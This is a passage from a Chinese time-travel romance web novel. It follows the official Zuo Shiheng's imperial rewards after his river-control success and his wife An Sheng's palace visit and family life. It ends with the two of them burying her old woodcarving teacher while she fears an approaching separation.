高平府的奏疏比左时珩晚了些时日,于九月初抵达京城,工部尚书苏博苏大人亲自捧了奏疏进宫呈上御览。 安和帝读了两遍,不禁大喜,连声说:“好!好!好个左时珩啊!” 奏文中说,本次汛期,按照左时珩之法修缮的长堤均无垮塌,河道泥沙俱走,洪水经由河道入了江口,因及时组织了兵民清理交汇处的堵塞,大河入海有惊无险,浩浩汤汤,全无阻碍,高平府那几个往年受灾最严重的州县,今次淹田不过十几亩,可忽略不计,其余粮食安然无恙,只待秋时丰收。 安和帝高兴道:“这个左时珩,果然是个不可多得的人才!苏卿,你着令工部发文让其他州府效仿此治水之法,这是大功,不世之功,朕看怎么赏都不为过!” 皇帝激动不已,一时叉着腰来回走动。 苏博沉住气,捋着胡子道:“我部左侍郎先帝时就三次提出致仕,因无人可用,先帝不允,右侍郎之位也空缺久矣,如今老夫亦是年事已高,做不了几年,不如皇上就趁机拔擢了年轻人吧,毕竟在工部做事,不但要实干,还得能勤苦,三年只一轮科举,这样的人十年也找不出一个。” 夸赞是一回事,实践是另回事。 苏博说毕,皇帝倒冷静下来,步子一顿:“左时珩到底年轻,升得太快恐怕不利戒骄戒躁,容朕再想一想。” 百年来泛滥的黄河竟在一个二十出头的年轻官员治理下,如同被驯服的羔羊,变得温顺。 任谁也知,这是天大的功劳,如皇帝所说,怎么封赏都不为过,就算那些言辞犀利,最刻薄的御史,也提不出异议。 群臣都猜测,左时珩一朝殿试夺魁,成为天子门生,短短两年便从六品翰林院修撰做到了五品都水清吏司郎中,如今只怕更是要升任为三品工部侍郎,成为天子近臣了。 有些心思活的臣子已在想方设法与其结交。 但左时珩本人一贯沉稳淡然,似乎什么传言也未听到,照例每日工部应卯,该做的事一件不落。 朝会上,皇帝三番五次地在群臣面前对左时珩不吝夸赞,又在会后召他入御书房私议,更让这件事显得板上钉钉。 不过等了几日又几日,吏部却始终没有接到任命文书的指示,倒是礼部接到旨意,称左时珩治水有功,皇恩浩荡,特赐京中宅邸一座,要他不日携夫人入宫谢恩。 廷臣对此议论纷纷,揣测什么的都有。 苏博知晓此事,特意唤了左时珩去,问他什么想法。 左时珩道:“雷霆雨露,俱是君恩,不敢有想法。” 苏博观其神情从容温和,知他没有口不对心,更是欣赏。 “好,你这个年纪能有这份心胸,何愁不仕途通达?关于此事,圣上也问过我的意见,你到底年轻,不急于一时,缓一缓未必是坏事,圣上赐你的那座宅邸,原先是皇上胞弟礼亲王居所,绝对不是份简单荣耀,你也不要有什么怨言。” 左时珩颔首:“治水是为了百姓,是为官职责所系,岂有怨言,只是……” “怎么?” “只是皇上赐我这座宅邸,我实难消受。”左时珩蹙眉,“我家中四口,只有仆从三位,主要照看两个幼子,住一间二进院落正好,再大我也维系不起,反倒成了负担。” 苏博笑道:“原是为此,你不必担心,那宅子大得很,荒了一年多,眼下还不能立即住人,你找了人慢慢收拾即可,你此番巨功,又怎只有一座宅子?你先携夫人进宫谢恩,还有另外赏赐。” 他思忖了下,见左时珩宠辱不惊,又漏了点实话。 “下半年还有事要交给你做,你只管沉下心来就是。” 左时珩并未多问,向老师道谢一番。 安声对于此倒不算意外,所有事情发展虽有些细枝末节的偏差,大抵都在正轨,可见所谓蝴蝶效应并没有那么大的影响。 毕竟,每天都有很多只蝴蝶在扇动翅膀,而真正能影响世界进程的,寥寥无几。 进宫谢恩这日,她早早起来,坐到铜镜前,望向一身朝服的左时珩。 “我这样装扮会不会太简单了?你们大老板那么小气的人,万一觉得我不够重视他,降罪起来,岂不拖累你?” 左时珩闻言坐到她旁边,取了眉笔替她描了几下。 他细细观之,眸含笑意,妻子的眉很好看,形如远山,偏那一双杏眼又清亮明媚,一浓一淡,动静皆宜。 “好了,若是皇上怪罪,就说是我画的,我与你共同承担。” 安声看向镜子,满意点头,又问:“那头发呢?头发你也替我挽一挽。” “夫人,我能不能试试?” 穆诗不知何时出现在门外,探着小小的脑袋。 “快来。”安声与左时珩皆望过去,安声招了招手,又惊又喜,“穆诗这么小就会梳头了么?何时学的?” 穆诗羞涩答:“上回去永国公府,跟着老夫人身边的丫鬟姐姐学的。” 安声恍然,又怔然,原来一切真是有迹可循。 第75章 荣耀 穆诗很会梳头,她的天赋已初见端倪,只不过跟着周老夫人身边的梳头丫鬟待了半天,她就记住了很多式样。 只是不够熟练,所以有些紧张。 安声一直夸她,左时珩也从旁肯定,她才放心大胆地给安声梳了个很是端庄沉稳的发髻。 “哇——”安声发出一声感叹。 平日里她身边没有梳头丫鬟,她不过是用两根簪子随意挽起,称不上多好,只是不失礼罢了,林雪还因此说她淡雅,其实她是没招。 穆诗脸色微红:“若要更繁复的,我还没学会,公府的姐姐说,出席重大场合,满头珠翠金饰,不用义髻都插不住呢。” “义髻……喔,假发。”安声不禁笑出声,点头,“那你好好学,将来我和小姐要想漂漂亮亮的,可要靠你了。” 穆诗重重点头,眸色发亮。 左时珩从架子上取了件披风搭在臂弯,朝安声伸出手。 “走吧。” 九月已入秋,不过天仍然热着,只到了夜里才会感知些凉意。 安声随左时珩进宫,不似上回紧张,路过几道巍峨宫门时,她仍是多看了几眼,依然为那些龙飞凤舞的字暗暗叹服。 虽是早起,一路随礼部官员走完仪式,直到进了宫,又要继续等,真正见到帝后时,已接近傍晚。 安声内心腹诽不已,不知为何,安和帝总给她一个很小气的印象,但她无论怎样在左时珩面前直抒评价,左时珩却极少附和妄议他的君父,只是倒也没有不许她说。 今日他们进宫侯了这样久,她很难无怨言,左时珩的耐心倒是一以贯之,除了有关于她的,安声似乎未见过他情绪失控的模样。 茶水点心用了几轮,总算等来内侍,说皇帝已经忙完,请随他于太和殿拜见。 安声悄悄翻了个白眼,恰好内侍还有话,转过身看见了,面色一滞:“呃……” 安声反应极快,眼珠转了几圈:“秋季干燥,我眼好酸。” 内侍不着痕迹地瞥了左时珩一样,轻笑了声。 “皇上与皇后娘娘还为左大人与夫人在冬晴轩专门设了家宴,以慰左大人治水辛劳。” 左时珩拱手行礼。 安声跟着低头。 两人随内侍进入太和殿,在正殿按照礼仪拜见了帝后,待到礼毕,礼官退下,帝后一同步下阶来,不复方才高高在上的威严。 安和帝一把执了左时珩的手,往冬晴轩去:“左卿,你可是立了大功,朕看,满朝文武不及你左时珩一人呐,听说,你家的门槛都要被踏破了,是也不是?” 左时珩退居半步,语气恭敬:“臣只尽本分,是天佑大丘,君泽万民。” 他虽说着奉承的话,态度却不卑不亢,安和帝听着十分受用,大笑了几声。 安声则随皇后同行,亦是落后半步,不敢逾矩。 皇后倒是很好相处,性子和善,先是与她解释,让他们久等是因为皇上政务繁忙,将将得了空,又夸她貌美谦恭,蕙质兰心,与左时珩一对璧人,最后说起她一双儿女,赞她是个有福之人。 安声陪着说话,倒也并不紧张。 这般一路说着,就到了冬晴轩。 进门前,安声习惯性抬头看了眼匾额上的字。 皇后笑道:“皇上很喜欢左大人的字,说是极好,堪称大家,也向他请教过许多,看来安夫人亦是个懂字之人,不知写得怎样?” 安声答:“只是看得多,实则写得一般。” “过谦了,能得左大人日日指导,想来你的字也不错,宴后到我宫里坐一会儿吧,我也想向你讨教。” 安声自是不敢拒绝。 家宴倒也简单,菜式并不像安声在安和九年进宫赴中秋宫宴那般华而不实,上的是一些家常菜,不过做法与民间有所区别,用具与食材也更有讲究。 氛围谈不上融洽,却也并不紧绷。 毕竟,左时珩是个平和温润的性子,而来自现代的安声对封建王权也并无打心底的畏惧。 恰是他们夫妻如此一致的宠辱不惊,倒更对安和帝的胃口。 宴后,安和帝召左时珩去了御书房,说是手谈一局,安声则跟着皇后去了翊宁宫。 在安声不多的印象里,这位皇后的确没什么架子,而且很出手大方,她想起岁岁与阿序百岁宴时,收到的那对由苏老夫人送来的长命锁,话语中悄悄提及并表示谢意。 皇后只是眨眨眼,佯装不知:“什么长命锁?” 她转头让人端来一柄金如意送她:“你倒提醒了我,你与左大人的夫妻恩典当初是向皇上求来的,后来你诞下儿女,我与皇上还未及向你庆贺,皇上体恤廷臣,左大人是天子门生,又是极得力的一位,他们君臣一心,定能为百姓谋下百年福祉。” 安声跪谢领赏。 皇后扶她起来,笑道:“这么正式做什么,今日只是家宴,我与你也是闲聊,抛去身份不谈,只当做平常夫人间小聚。” 见安声仍有些拘束,她将安声从上到下仔细端详了遍,赞道:“安夫人身上有种独特的气质,我虽形容不出来,却难以移目,怪不得左大人青年才俊,将你视若珍宝。只可惜,我深居后宫,甚少有机会与夫人们接触,比不上你们在外面,今日有个茶会明日有个花会的,难得有今日,就与我说些心里话吧。” 安声笑了笑,也放松下来:“好,娘娘想聊什么都行,只要不怪我失礼便是。” 这一聊便是足足一个时辰,安声虽松弛,却也没忘了什么话不能说,所幸帝后少年夫妻,她自小就甚少出门,对外头的事大不了解,安声只说家乡,她也不疑有他。 直到皇上与左时珩来了翊宁宫。 他们来时,安声正在欣赏皇后收藏的字画,还提笔给皇后画了几幅简笔动物,皇后引以为奇。 安和帝进来也不让人通传,不知何时站到安声侧后方,见她字写得不错,就随口问了句:“你觉得那冬晴轩门楣上的几个字写得如何?” 安声沉浸其中,想也不想:“一般。” 话说出来才回过神,忙转身道歉,左时珩站到她身旁。 “内子失言,错在微臣,请皇上恕罪。” 安和帝脸色平静,看不出喜怒。 “是朕问的,她照实说,何错之有?时辰不早,出宫去吧。” 安声忙与左时珩谢恩告退。 直到出了宫门,她方才略快的心跳才平缓下来。 “你们大老板这是生气了还是没生气?” 左时珩笑道:“是面子有些抹不开,皇上向我请教书法时,明里暗里总想要得到我的肯定。” “他是皇上,想听漂亮话还不容易。” “是,但想来他已听够了奉承。” “那今天从我这里听到了实话,他应该高兴。” 不过他若是当面问,她也会说漂亮话,谁知他偏要冷不丁突击,倒是很自信。 左时珩笑了几声:“实话总让人难以接受的,冬晴轩上那几个字是皇上写的满意的。” 安声躺在他怀里,感叹:“那他还得练。” 想到安和九年时皇帝的字,她又补了句:“有你这个老师,以后还是能进步的。” “我并不敢以皇上老师自居,侍君者时刻不能忘人臣本分。” 安声仰面看他:“左时珩,我以前觉得你是那种特刚直特……古板的性子,但现在我发现我不对。” “嗯?” “你对皇帝说漂亮话说的一点不少,还很自然很诚恳,让人信以为真。” “阿声是想说我世故或者圆滑?” “我是想说你聪明,虽然我不懂做官,但我读过史书。官场上常见两种官员,一者实干但不善变通,一者无能但善于逢迎,你集二者之长。” 她拉起他的手,亲了亲手背:“在我认知中,你已经很强大了,但你比我想象的更强大,我很得意。” “得意?” “有你这么厉害的夫君,我简直得意的不得了。” 左时珩垂眸望她,摇晃的光影流水似的从他眸底略过,映出温柔。 “能让夫人得意,我也很得意。” …… 苏大人说得不错,左时珩治河顺利,立下此不世之功,升官封侯皆不为过。 安和帝要借此树立典范,激励天下官员,自然不吝赏赐,只是他有其他考量,暂缓了他升官速度,因此在物质上更是异常丰厚。 除了那座亲王宅邸外,又有几道旨意接连颁布下来,赏左时珩白银万两,江南勋田五百亩,玉如意一对,御用瓷器一套,金银翡翠若干,内府藏书一箱,古玩字画若干,田黄石印章二枚,又特许增设府邸护卫人数,三品出行仪仗规格等。 这位年轻的天子近臣,一时风光无限,极为耀眼,登门道贺者不计其数,天下无与可相匹者。 整个九月,安声都很忙,忙于设宴和招待宾客等,这样的事其实也无须她一力操办,但左时珩满身荣耀来的太快,面对那么多非富即贵的宾客,穆山如今不如她周到。 还有一点……她总有种想多为左时珩做点什么的心思,似乎如此便能稍稍弥补将来五年的缺席,也籍此暂缓她心底直面不确定未来的恐惧。 时光这条河,实在流淌得太快了。 似乎眨眼功夫,就已到了安和二年十月,天冷起来,一个大雪纷飞的冬天又近在眼前了—— 作者有话说:今天有点短我知道,因为出去玩了[菜狗][猫爪]给你们发红包补偿 第76章 入冬 安和帝登基不久,便吩咐朝廷着手皇陵修建事宜,如今经过大半年,钦天监与工部踏勘许久,终是定下吉壤位置,于是工部、礼部共同商量后,依典制拟定了陵寝规格,确立预算,由皇帝亲定后,只等户部筹措资金。 十月,这份差事落到了左时珩头上,其他事宜皆放了,只专心忙这一件事。 看似闲下来,实则又有别的麻烦。 原先左时珩只将分内事做好,如今每日都要往户部跑,争取在有限的资金内尽早动工。 皇陵修建的钱要从国库出,完全由户部说了算,然户部之银天下共用,连皇帝也不能随便干预。 年关在即,户部到了年底忙得很,各种预算更是吃紧,与他们打交道可谓是极难的事。 安声也难得见左时珩眉头皱了起来。 她道:“左时珩,别憋着,你可以在家里把户部那些人骂个遍。” 左时珩捏着眉心:“苏大人真是交给我一份苦差。” 黄河赴险不说苦,夙夜忙碌不说苦,从户部手里要钱却成了左时珩第一大苦事。 下半年各个部门都等着要银子用,兵部说以防冬日异族南下掠夺,军费不能欠缺,礼部说要早早准备年前后各大典礼,涉及国家颜面,不能缩减,吏部说天下各地的大小官员都等着最后两个月的俸禄过年,若皇上才登基两年就欠薪,如何使他们不心怀怨言? 桩桩件件听起来都比皇陵修建要紧得多,但这份差事既落到左时珩手中,总不能毫无进度。 左时珩也知,他如今在风光无限,在朝中炙手可热,安和帝故意将这份差事安排给他,是磋磨一番他的心气。 安声绕到他身后,给他揉按太阳穴。 “我决定今天去梦里把你们皇帝揍一顿,然后再把那个户部侍郎申哲揍一顿,谁叫他们把我夫弄的这么心累。” 左时珩问:“为何是申大人?” 安声说:“因为我只认识他。” 他笑了几声,伸手揽过她腰肢,抱她在怀,头抵在她肩上,眷恋嗅闻着她的气息。 “让我抱一会儿……抱一会儿就不累了。” 安声摸着他头发,安静地任他这样抱着,心尖泛起密密麻麻的疼。 以后……怎么办。 天冷得很快,一场雨就送人入了冬。 那座礼亲王宅邸荒了一年多,仍在修缮打扫,再加上些政治因素,一时还不能住进去,因此这个年他们应该依然要在杏花胡同的这个小院里过。 那位租赁小院给他们的生意人,下半年准时回了趟京,惊闻他这间小院住的年轻夫妻如今竟有如此身份,一时诚惶诚恐,要将租金退给他们,说是感谢他们将小院维系的好。 安声与左时珩自然不同意,照付了钱,还跟他说了年后要搬走一事,让他提前跟牙人说好,小院或租或卖,也好找下家。 主人家不愧是做生意的,心思立即就活络起来,在京中东奔西走,联合牙人组了场竞拍,打出“状元府邸”的招牌,短短时间就引人竞价无数,远超市场价格。 左时珩知道此事时,正与安声下棋,闻言只是一笑。 安声却拍大腿,直呼:“早知我应该找他分钱,让他赚太多了吧。” 左时珩觉得妻子模样甚为可爱,不由颔首。 “小财迷,你现在去找他也来得及。” 安声纠结半晌,最终放弃。 “算了……我也要面子的。” 但还是觉得亏:“早知道那退的租金就应该收下,或者我们自己转租也行,沾了你这么大光,出点沾光费很合理嘛。” 左时珩笑个不停,落下一子。 “结束了。” “结束了?……这就结束了!” 安声盯着棋盘,似要盯个洞出来。 “这就是不专心的后果,要我给你复盘么?” “不要不要不要……”安声将棋子打乱,“改下五子棋,我要找回一点自信。” 左时珩不紧不慢,将棋子收拾好,挽袖做了个“请”的手势。 “那我先手,就不客气了。” 安声喜滋滋先下了一颗。 左时珩跟着下了一颗白子。 没多久安声就赢了,歪着头得意问:“怎样?服了吗?” “服了。” “语气听着不够诚恳啊。” 左时珩扬起笑,慢悠悠捡子:“以我观察,此棋类是先手必胜,但与夫人对弈,败也心服。” “诶?诶?” 安声呆住。 她寻思这是她秘不外宣只教过林雪的小技巧呢,怎么左时珩就观察出来了。 那安和九年他连输给她……原来是在配合她啊。 见妻子一副神游表情,左时珩笑意更是愉悦:“还来吗?” 安声回过神,激起战意:“来,这次定下禁手,就不是必赢了,公平公正。” 左时珩从棋盒中执起一颗白棋,玉白的棋子在他两指之间,却叫人完全被他骨节分明的手吸引去注意力。 安声落子前,双手握住他的手,虔诚道:“先沾一沾文曲星的光。” 左时珩垂眸,见她手在自己手背上摸来摸去,似笑非笑:“这是正经沾光吗?” “是啊,怎么不是?”安声脸不红心不跳,还俯身亲了亲他的手指,“真好看,好喜欢。” 左时珩道:“交战之前,禁止使用美人计扰乱军心。” “用美人计的分明是另有其人吧。”安声挑眉,“也罢,等晚上我让你见识见识什么是真正的美人计。” “咳……”左时珩睫翼微颤,“下棋吧。” 对弈两局,一胜一负。 第三局时,战况胶着,安声先手,攻势迅猛,而左时珩围追堵截,滴水不漏,眼见棋盘都要满了,李婶和穆诗忽然抱了岁岁和阿序过来,说是孩子醒了,要找爹娘呢。 两人一人接了一个孩子在怀,在腿上坐着,安声抱着岁岁亲了几口,心神分流,一下在棋盘上落了个错处。 她心一跳,不过不想悔棋。 眼见左时珩要五颗连线,阿序小手却更快,一把抓起棋盘上的子将局势胡乱了。 左时珩:“……” 安声哈哈大笑。 岁岁与阿序见状也一同乐起来,手舞足蹈。 左时珩摇头,将阿序手里的棋子放回棋盒,抱了他站在腿上面向自己,教导他:“记好,观棋不语真君子。” 阿序牙牙学语:“爹爹,棋,娘亲,君子。” 左时珩笑:“嗯,爹爹在和娘亲下棋,娘亲说了要公平公正。” 阿序:“公,公正。” 岁岁也跟着说:“公正。” 安声与左时珩均笑起来。 如今岁岁与阿序虽还不会完整表达,但很爱说话,整天咿咿呀呀个不停,单个的词倒是能说的清晰,小奶音实在可爱。 左时珩问安声还要不要再来一局,安声摇头。 又强调:“我不是怕输给你,我就是下久了,累了。” 左时珩莞尔:“好,那正巧岁岁阿序在此,剩下的时间我教他们读三字经吧。” 安声:“你们爹爹简直是魔鬼。” 她将岁岁也塞到左时珩怀里:“左大人,你自己教吧,我在旁边找别的事做。” 她有许久没雕刻过了,手都有些生了。 从书房箱子里翻出她的工具时,忽然有些感慨。 也不知老乞丐眼下如何了。 他说若是找不到亲人就回京来,而如今这么久不来,是不是已经心愿圆满了呢。 她找了几块木料,许久不刻,也没买来补充,手边没多少可用的,都是些边角料,是之前剩下的,不规则,也很小。 “左时珩,你说这个能刻什么?”她举起来给左时珩看。 左时珩转头看了眼:“小猫小狗。” “又是小猫小狗,你就知道小猫小狗。” “毕竟某人将送我的小猫小狗卖了。” “……真记仇啊,后来都送你小狐狸了。” “不一样。” “好了好了,我不问了,教你的三字经吧。” 左时珩低笑,听来有些得逞。 安声挑了两块小的,和一块不规则的中号木料坐到他不远处,开始发愁,刻个什么好。 她盯着那两块小的许久,忽然想起林雪之前约她去家里打的叶子牌,她评价道不如麻将好玩。 麻将……她记得安和九年她还从左时珩书房翻出麻将里的东西南北风呢。 但这次她不想刻意重复。 定了定神,她将木料削成板正的长方体,放到左时珩面前。 “左大人,请在上面写个字。” 岁岁和阿序还在你一言我一语地念听不懂的三字经。 左时珩比了个“嘘”的手势,待他们安静下来,问安声:“什么字?” 安声竖起大拇指:“中!” …… 今年寒意来得格外快,才入冬不久,就冷的要命,北风吹彻不停。 阿序夜里睡觉闹腾踢被子,着了风寒,发烧咳嗽好些天,简直把安声心疼坏了。 因为阿序生病,怕岁岁被传染,安声就让左时珩陪岁岁在耳房里睡。 阿序生病难受,睡不安生,哭闹不止,唯有在娘亲怀里才能乖乖睡着。 夜里左时珩哄了岁岁睡下,来了卧房,安声正抱了阿序来回走着,轻轻哼唱小曲,阿序趴在她肩头睡着了,肉嘟嘟的脸蛋因生病显得潮红,还有未干的泪痕。 左时珩眉头紧蹙,心疼难忍。 “儿子给我吧,你去陪岁岁睡。” “你也累了一日了,还是早些休息,我来照顾阿序就好。”安声拍拍孩子的背,叹道,“这么小的孩子,喝药才是真的受罪。” “没事,大夫说了快好了,不要太担心。” 左时珩抬手,温热指腹摩挲过她眼尾,又揽着妻子在床边坐下,小心接了阿序在怀,阿序乍一离开娘亲,哼唧了几声,听到爹爹的哄声,才渐渐安静下来。 “看来阿序像你,喜欢踢被子。”他轻笑。 安声道:“他只是还小,长大未必,不过我喜欢踢被子现在也不算缺点,因为我有你。” “那就更不必担心了。” “我知道。”安声长叹一声,靠在左时珩肩头,“就是忍不住。” 左时珩沉默片刻,柔声唤:“阿声。” “嗯?” “你心里一直有事,始终不愿告诉我吗?” 安声如鲠在喉,无法言语。 她不是个好演员,何况与左时珩朝夕相处,难掩心头隐忧。 还有一个多月就是安和三年了,她心底愈发有种不安的念头,侵蚀着她的梦境。 她似乎能做的都做了,但结果她不知道,一个未知的结果,才最让她无力。 “既让你困扰,我不问了。” 左时珩吻了吻她。 安声不想让他看见自己的失态,逃也似的快步离开。 “我去陪岁岁睡,你也早点休息。” 安声满怀心事,勉强睡下,就坠入一个噩梦里。 梦中,她逃进时空罅隙,听见了三声天外山的钟声,又见那石前香案上青烟袅袅,不知飘了多高,才终于退了出来。 山寺并无变化,仿佛才过去一天。 她拦了人问,现下何年何月何日。 那人说,安和九年腊月初十。 她匆匆下山,回了左宅,还未近前,便听见哭声。 她站在原地,寒风刺骨,冻住她浑身血液。 于是她又回了天外山,走进立石殿,拔下金簪,在上面刻下一句: “第十二次,是安和九年腊月初十,继续重来。” 第77章 道别 安声从噩梦中醒来时,天还未亮,窗外夜色沉沉,浓重的像化不开的墨。 她侧身亲了亲挨着自己睡的女儿,又摸了摸她小手小脚,给她盖好被子,披衣回了卧房。 左时珩几乎一夜未睡,阿序因风寒躺下睡有些难受,他便一直抱着他,人只靠在床头,思绪紊乱,后半夜才勉强阖眼。 安声低低唤他:“阿序气息好多了,烧也退了,把他放到小床上睡吧。” 左时珩蹙眉,似从一个不好的梦中挣扎醒来,闻言应了声,动作小心地将孩子放下,裹好被子,又拍了拍。 安声坐到床头,握住他手。 “左时珩,我陪你,你躺下好好睡会儿。” 毕竟要不了多久就要起床去衙署了。 左时珩没有躺下,而是合衣枕在她腿上:“我是有些累了,歇半个时辰吧。” “那过半个时辰我叫你。” 安声拉过被子给他盖好,手指摩挲着他的脸,垂眸望着他。 左时珩睡得不大安稳,梦里也蹙着眉。 安声轻抚他眉眼,满是心疼。 左时珩不知梦到什么,蓦然侧了侧身,抱住她的腰,将脸埋进她小腹,低低叹了口气。 安声靠在床头,眼圈渐红。 …… 到了腊月,工部倒也不再忙了,左时珩在家的时间多了起来。 经过与户部打了几轮机锋,他负责修建的皇陵,年后终是能如愿动工。 这也让六部臣工了解到,这位看似性子温和的年轻官员,实则暗藏锋芒,刚柔并济,不像表面那般容易拿捏。 初九日晨,安声正与左时珩一道带宝宝吃饭,岁岁和阿序都被放在专门给他们用的小餐椅上,面前摆了混着肉糜的粥和蒸熟的蔬菜叶子,碗里放了把小小的勺。 他们还不熟练自己吃饭,更习惯用手抓,即便安声教他们用小勺子,他们舀起来也很难准确放进嘴巴里,而更像玩游戏似的,弄得到处都是。 安声心累还有些心急。 李婶就忍不住说她:“少爷小姐才多大啊,就急着成才啊?你们当爹娘的,也太严格了。” 安声只笑笑:“早教早会嘛。” 不过她心累或是心急,倒也不是针对两个孩子,只是对未来焦虑的一种投射。 她明白孩子有自己的发展规律,父母要学会引导而不是干涉,要放任他们自由探索,而不要控制欲太强。 但她第一次当母亲,在这个身份里,自己也在同步学习成长。 原本她的时间很长很多,可现在…… 在他们刚开始懂事到发育最关键的时期,她偏偏缺席,所以她只好将未来许多的话,写在信里。 让他们知道,娘亲始终爱他们,想念他们,也和爹爹一起教导着他们。 她也希望,岁岁和阿序,能乖乖牵着爹爹的手,等娘亲重新回到他们身边。 左时珩与她相比,显然更有耐心。 他能察觉出妻子的焦虑,也推测她的焦虑与孩子无关,而是有一桩隐秘心事。 他已问了许多次,但向来与他无话不说的妻子,对她心底最深的秘密,始终三缄其口。 尽管他万分担忧,却不想再给她额外增加压力,只能陪着她,在所有与她共同参与的事上,尽量承担更多。 岁岁将肉粥弄得到处都是,安声起身去拿帕子,忽见穆山快步过来,站在门口,说有人找大人和夫人,正在外等着。 左时珩将手里的碗递给李婶,问什么事。 穆山道:“他也没说清楚,就问咱这里是不是有状元,然后说一个老乞丐什么的,大人夫人若不见,我就给钱打发了去。” 安声一个激灵:“人在哪?” 来人是个半大的小子,住在城外村里,大冷天的冻得瑟瑟发抖,脸色绀紫,风吹得双手满是冻疮,一张嘴就哈白汽。 安声赶紧让穆山把他喊到前厅,给他倒了热茶,又端来一个炭盆给他烤了烤,他才缓过来。 他说前两天路过一个破庙,看见里面躺着个老乞丐,本以为是冻死了,没想到还有口气,老乞丐忽然说话,把他都吓了一跳。 他摸遍浑身上下,给了他几个铜板,要他去城里长锦坊杏花胡同一个小院,找一个状元,见了那家人,就跟他们说,要他们趁早来一趟,给他买口棺材收尸,要是来晚了,寒冬腊月的,林子里容易跑出野狗野狼,把他的尸体啃咬了,那就不体面了。 小子随口答应,心里也没当回事,毕竟进城太远,还找什么状元,一听就不靠谱。 如此过了两天,昨夜他忽然做噩梦,梦见那老乞丐敲他窗,一直一直敲,他问谁啊,那老乞丐就幽幽问他,有没有给他带话? 他一下就吓醒了,跟家人说了这事,被家人骂了一顿,天不亮就赶去破庙里看了眼,老乞丐已经死去,尸体梆硬。 他吓得发抖,立即进城,一路打听着找来了这里。 安声听得泪流满面,对左时珩说:“我们现在就去。” 左时珩点头,温声道:“别急,我来安排。” 他让穆山给了那传话少年一点银子,让他出城去,到破庙那里守着,接着又吩咐后续丧葬事宜,让他紧急去找棺材铺子,买一具质量上乘的棺材,派人送去,且在城外择一块地。 老乞丐并非他们亲人,也胜似亲人了,虽不能给他身后尊荣,至少也是体体面面地送他一程。 穆山忙碌开来,安声与左时珩也暂脱不开身,家中就只有李婶和穆诗留下来照看着岁岁与阿序。 左时珩不大放心,又去请了两个护卫守在前院。 等他们坐了马车去往破庙时,已是下午。 安声一路上心都空落落的,宛如被挖去一块,左时珩没有过多言语安慰,只将她拥在怀里,轻拍安抚。 安声与他提起从前,数度哽咽,以至哭到不能自已。 其实也不全然为着老乞丐,更是一直以来她的情绪压抑久了,且作为长辈的关怀,除了外婆,安声能感受到的,也只有这样一个萍水相逢,相处不过短短时日的老头。 外婆待她好,但只有三四年,就离开了她。 老乞丐也待她好,师生情却更是短暂。 眼下她身边亲人就只有左时珩,岁岁阿序,还有穆诗一家,但她只过一年多,恐怕又要再度失去了。 为何会如此呢,她到底做错了什么,才什么都留不住。 安声的痛哭亦使左时珩心疼得眼眶微红,只能抱着她,轻吻她的发,成为她的依靠。 两人到了破庙时,穆山已带人先一步来了,老乞丐被换上了干净的寿衣,躺在门板上,脸上蒙着黄表纸。 安声的泪瞬间掉了下来,跪在地上喊了声师父。 左时珩也在她旁边跪下,行了三叩之礼,慢声道:“我们来迟一步,您老人家一路走好,不必为我们忧心。” 破庙外还来了些围观看热闹的村民,穆山安排人挡着庙门,阻隔了视线。 行完礼,左时珩扶了安声起来,安声伏在他胸口啜泣,有些脱力。 穆山与棺材铺子的人一道,将人抬到了棺材里,合上棺盖,摆放在两条长凳上,凳下点一盏长明灯,破庙暂设为灵堂,停灵三日,等墓地选好,择日下葬。 安声缓了神,细致收拾起老乞丐的遗物来,在那个熟悉的角落,他常待着的那个角落,和从前差不多,几床脏脏的毯子棉被,一包破旧的衣裳,锅碗瓢盆,还有一把卷刃的刻刀,一些乱七八糟的树枝,却没有雕刻的成品了。 安声和左时珩曾给他送过几次衣食用品,新衣裳他不愿穿,说是穿好了哪里像乞丐?还怎么讨饭?不是要他们拿回去就是自己拿去当了,只留了棉被毯子,睡了这么久,也都不能看了。 左时珩蹲在她旁边,轻声问:“可要留下件什么做念想?” 安声想了想,摇头:“不必了,随师父一同下葬吧。” 记忆就是最好的念想。 被人记得,或许就不算真正死去。 天转瞬黑了,晚间刮起阴沉的风,留在破庙里的除了安声与左时珩外,还有穆山以及另外帮忙做事的三人。 安声跪坐在棺材前,往一口陶盆里丢着纸钱。 火舌舔舐下,光亮由暗转明,再重新熄灭。 风从窗缝门缝里拼了命地挤进来,发出诡异的呜咽声,听的人头皮发麻。 谁也没有说话,只有风在哀鸣。 安声忆起两年前,脑中犹如播放着幻灯片,一幕幕近在眼前,十分清晰。 那个夜晚,也是这样大的风,还有一场大雪。 她冷得发抖,撞开了破庙的门,风卷着雪与她一道成了不速之客。 老乞丐抄起棍子,害怕地问她:“谁啊?”直到看清她的模样才放了心。 也是那晚,她重新找回了左时珩。 他生着病,发着高烧。 她失而复得,照顾了他一夜,甚至向神佛跪谢。 如今她仰头望着那更加颓旧的神像,似乎连面容也模糊了,变得黯然无光。 她不禁恍惚,往日种种,历历在目,何以就两年了呢。 两年,七百多个日夜,是长逝的流水,也是指尖的流沙。 便是握得再紧,手中依然空空如也。 …… 因家中还有两个孩子,安声和左时珩不便在外过夜,还是要赶回去,这里留下穆山带人守着。 三日后,老乞丐下了葬,盖了土,立了碑。 他此一生无名无姓,无亲朋好友,却有后辈送他,让他不至于抛尸荒野,葬身狗腹,为他设灵堂,烧纸钱,倒也不算遗憾。 老乞丐下葬那日,安声夜里梦见了他。 梦里他身影混沌,始终看不真切。 安声问:“师父,您后来回去找到家人了吗?” 老乞丐笑道:“我早就没有家人咯,所以又回来麻烦你们了。” 安声落泪,向他表示歉意,说没能给他尽孝。 他连连摆手:“你又不是我生我养,不必给我尽孝,我教你一门木头手艺,你还我一具木头棺材,已经报答完了。” 说罢他转身要走,安声紧追几步,问他去哪儿。 老乞丐没有回头,褴褛破旧的衣裳忽然变成了下葬时那一身崭新的寿衣。 他双手负后,颇有些洒脱味道。 他说:“世界万千,到别处去瞧瞧。” 又顿了顿,语气和蔼:“小姑娘,你喜欢这里,那就不要往前,留下来吧。” 第78章 新年 安和二年的冬天冷得很早,一场大雪却迟迟不肯落下。 直到除夕当日,才终于纷纷扬扬露了面。 安声压着满腹心事,并不期待这个新年的到来,因此,即便她隐藏得再好,也被左时珩轻易看穿。 虽不知内情,但妻子的表现让他心头始终萦绕不安,沉闷闷的,仿佛正有场风雨即将来临。 他的心慌如无根之水,寻不到由头,这迫使他几乎要时刻让安声处于他的视线中才能够稍稍缓解。 好在他能够隐藏得很好,没有让她察觉出异常,亦不至于给她添加其他负担。 几个孩子倒是都很高兴,安声早早就带着李婶她们出门买了衣裳吃食等,为过年准备的东西在空置的客房里堆了许多。 